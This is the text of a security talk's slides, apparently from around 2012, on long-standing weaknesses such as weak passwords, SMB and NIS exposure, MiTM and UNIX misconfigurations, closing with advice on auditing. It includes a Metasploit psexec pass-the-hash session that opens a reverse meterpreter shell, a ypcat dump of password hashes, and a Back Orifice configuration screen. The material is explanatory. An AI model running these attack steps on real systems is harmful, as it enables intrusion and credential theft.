The Vulnerabilities that Time Forgot
What is this all about

- Lots of changes in the industry over the last 15 years, but a lot of the same issues keep appearing

- Issues that are still widespread and exploited
What Vulnerabilities from then still plague us now

- Let’s get nostalgic – A quick look back on the 90s
- Trust
- Passwords
- MiTM Attacks
- Malware
- Insecure Network Services
- Unix Issues
- Closing thoughts
 Fade to...

A young boy, with greasy blonde hair, sitting in a dark room. The room is illuminated only by the luminescence of the C64's 40 character screen. Taking another long drag from his Benson and Hedges cigarette, the weary system cracker telnets to the next faceless ".mil" site on his hit list. "guest -- guest", "root -- root", and "system -- manager" all fail. No matter. He has all night... he pencils the host off of his list, and tiredly types in the next potential victim...

-- Farmer and Venema

“Improving the Security Of Your Site By Breaking Into It” -- 1993
The 90’s
Then and Now Architecture

- NIDS
- Firewalls
- Virtualized Network Malware Detection
- NAC
- Security Development Lifecycle (SDL)
- Internet facing systems are reasonably secured
- Hubs have been replaced with switches
- Improved network design
Exploitation is now a lot more difficult
  • ASLR, DEP, /GS, sandboxes, etc etc

In some ways exploits are harder to find
  • Secure Development Lifecycle (SDL)
  • Exploits are now worth $$ → Goodbye rootshell.com
We are still reasonably lousy at network segmentation
  • VLANs have not solved the problem

Segmenting users from each other is HARD
  • At some point it just makes it harder to conduct business
Remember the rServices (rlogin, rexec, rsh…)?
• How about .rhosts and hosts.equiv?

Didn’t SSH replace all of this silliness?
• Maybe for about 5 minutes, until sysadmins realized they could create SSH keys without passwords and that .rhosts files can be used in SSH.

But at least all it's encrypted right?
Look Familiar?

123456
12345
123456789
Password
abc123
qwerty
Passwords – Windows hashes

metasploit v4.2.0-release [core:4.2 api:1.0]
+ -- --=[ 802 exploits - 450 auxiliary - 135 post
+ -- --=[ 246 payloads - 27 encoders - 8 nops
+ -- --=[ svn r14792 updated 42 days ago (2012.02.22)

Warning: This copy of the Metasploit Framework was last updated 42 days ago. We recommend that you update the framework at least every other day. For information on updating your copy of Metasploit, please see:
https://community.rapid7.com/docs/DOC-1306

msf > use windows/smb/psexec
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set RHOST 192.168.223.128
RHOST => 192.168.223.128
msf exploit(psexec) > set LHOST 192.168.233.1
LHOST => 192.168.233.1
msf exploit(psexec) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(psexec) > set SMBPass 73a87bf2afdc9ca49b69e407095566351:1c31f6821d039310f396fb319a3c701c
SMBPass => 73a87bf2afdc9ca49b69e407095566351:1c31f6821d039310f396fb319a3c701c
msf exploit(psexec) > exploit

[*] Started reverse handler on 50.83:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.233.131:445\WORKGROUP as user 'Administrator'...
[*] Uploading payload...
[*] Created \tvCvjamoz.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.233.131[\svccnt] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.233.131[\svccnt] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (vTCPqlCs - "MHIykoG")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \tvCvjamoz.exe...
[*] Sending stage (752128 bytes) to 50.83
[*] Meterpreter session 1 opened (50.83:4444 -> 50.83:42196) at 2012-04-04 10:33:46 -0600
Passwords – NIS and LDAP

```
[root@router ~]# ps auxw | grep yp
root  3107  0.0  0.2  1788  612 ?    S  16:47  0:00 ypserv
root  3301  0.0  0.2  24376 568 ?   S+ 16:49  0:00 ypbind
root  3317  0.0  0.2  3896  692 tty1  S+ 16:50  0:00 grep yp
```

```
[root@router ~]# ypwhich
10.0.0.1
```

```
[root@router ~]# ypcat ypservers
router
```

```
[root@router ~]# ypcat passwd
GI jones:$$B59x6Ujy$f/heWC1ZgyAX3GnBaZcTj1:500:500::/home/GI jones:/bin/bash
tom:$$/qdeM5Pv$FgMEKovq5DSd6Fln.M1Z:/:503:503::/home/tom:/bin/bash
bob:$$y.02fELV$Fx23tubaouVqa19/FKcYq1:502:502::/home/bob:/bin/bash
alice:$$iW3JGt7BS$w7iEroJ309Lot4WpwUrBV/:501:501::/home/alice:/bin/bash
```

```
[root@router ~]# ypcat group
GI jones::500:
tom::503:
bob::502:
alice::501:
```
MiTM Attacks

Original Connection

Victim

MITM Connection

Attacker

Web Server
MiTM Attacks

This script leverages tools for stealing credentials during a pen test.

1. Attacks
2. Data Review
3. Man ettercap
4. Edit etter.conf
5. Exit
q. Quit Current Poisoning Session
Choice: 0

back | track
MiTM Attacks
Malware – Back Orifice

![BO2K Server Configuration](image)

- Current Server File: C:\0\bo2k.exe
- Server Info: Version 1.0
- Plugins Loaded:
  - bo3des.dll: Version 1.0, Description: BO2K Triple-DES Module
  - bo_peep.dll: Version 0.7, Description: BO2K Remote Console Manager
- Option Variables:
  - File Transfer: Current Value: 12345
  - TCMIP: Current Value: 54321
  - Default Port: Switch Setting: Enabled

Back Orifice 2000 Server Configuration Utility, Copyright (C) 1999, Cult of the Dead Cow
Malware – Netbus – 1998 (?)
Insecure Services

- SMB
- MySQL
- DNS
- NFS
Insecure Services - SMB

- PSEexec
- NetBIOS Spoofing
- Rogue SMB Servers
PSexec - Execute a Command on a windows server

- First released by Sysinternals (≈ 2001)
- Similar functionality is now in Metasploit
Insecure Services – SMB

• NetBIOS Spoofing
  • Respond to resolution requests with an IP of your choosing
  • Similar to DNS spoofing
  • Modules for Metasploit are readily available
Insecure Services – Rogue SMB Servers
SA account with a blank password.

What else can really be said about this?
• Lots of DNS attack tools were written in the 90s
• Spoofing tools were publically available
• Multiple buffer overflows in BIND
• DNS Spoofing is mentioned in “Improving the Security Of Your Site By Breaking Into It” (1993)
Insecure Services - NFS

- Sensitive files are often exposed
- Home directories are exposed.
  - This can give you access to the system
- Permissions on the shares
  - Are SUID files allowed on the Shares?
Privilege escalation bugs in UNIX are now relatively rare. Older tricks are necessary to increase access.

- sudoers files that make user separation meaningless?
- Insecure cron jobs
- file permissions
- Custom and 3rd party software
- History files
- Etc.
Local UNIX Issues - Sudoers

```
# User privilege specification
root    ALL=(ALL) ALL
%admin  ALL=(ALL) ALL
%users  ALL=/sbin/mount /cdrom, /sbin/umount /cdrom, nmap
%users  localhost=/sbin/shutdown -h now
```
Local UNIX Issues - Insecure cron jobs

```
# EXECUTE BACKUP.SH SCRIPT EVERY SUNDAY AT 2:36 AM
36 2 * * 7 root /usr/local/sbin/backup.sh
```

- **COMMAND TO EXECUTE**
  - execute command as a user root
  - day of week: Sunday =0, Monday =1, Tuesday=2, Wednesday=3, Thursday=4, Friday=5, Saturday=6, Sunday=7
  - month: January =1, February=2, March=3, April=4, May=5, June=6, July=7, August=8, September=9, October=10, November=11, December=12

- **MINUTE**
  - hour

- **VALUE RANGE**
  - 0-59
  - 0-23
  - 1-31
  - 1-12
  - 0-7
Local UNIX Issues

```
420-C02H90F1DW47-JGA:Users jgamble$ ls -la
total 0
drwxr-xr-x  6 root   admin  204 Apr  2 2012 .
drwxr-xr-x 31 root   wheel 1122 May 30 17:05 ..
-rw-r--r--  1 root   wheel   0 May 25 2011 .localized
drwxr-xr-x+ 11 IT  staff  374 Apr  2 2012 IT
drwxr-xrwt  4 root   wheel  136 Aug 14 14:37 Shared
drwxrwxrwx+ 54 jgamble staff 1836 Sep 28 00:50 jgamble
420-C02H90F1DW47-JGA:Users jgamble$
```
Local UNIX Issues - Custom and 3rd party software

- SUID Shell scripts are not secure
- People will notice odd SUID binaries are will reverse them
- UNIX system admins always create insecure files within /tmp
  - Will not check to ensure temporary files are not symbolic links
  - Create/read/write files with a predictable names
    
    drwxrwxrwt 2 root root 4096 Oct 2 02:53 /tmp

- Check /usr/local/bin and /usr/local/sbin for third party applications
  - Third party applications are usually neglected, especially on busy systems
• Their existence is not a vulnerability, but the information in them has lead to a lot of system compromises
  • Who hasn’t typed a password on the command line once or twice?
  • These files should never be readable by other users
How did this happen?

- Vulnerability scanners are not perfect
  - High risk vulnerabilities are often marked as low risk
  - Scanners do not check for everything
  - The findings lack context of the environment they are in and how they relate to other vulnerabilities
How did this happen?

Lots of issues are created at some level due to ignorance
  • Local UNIX misconfigurations
  • Password related issues

Sometimes things just work and are expensive to fix
  • Arp poisoning
What is to be done?

- Proactive auditing
  - Why rely on tools to do all the work? Have a look at your Unix systems yourself
  - Password policies are a start, but why not test PW strength?
- More education?
  - Technical security education rather awareness training
Thank You!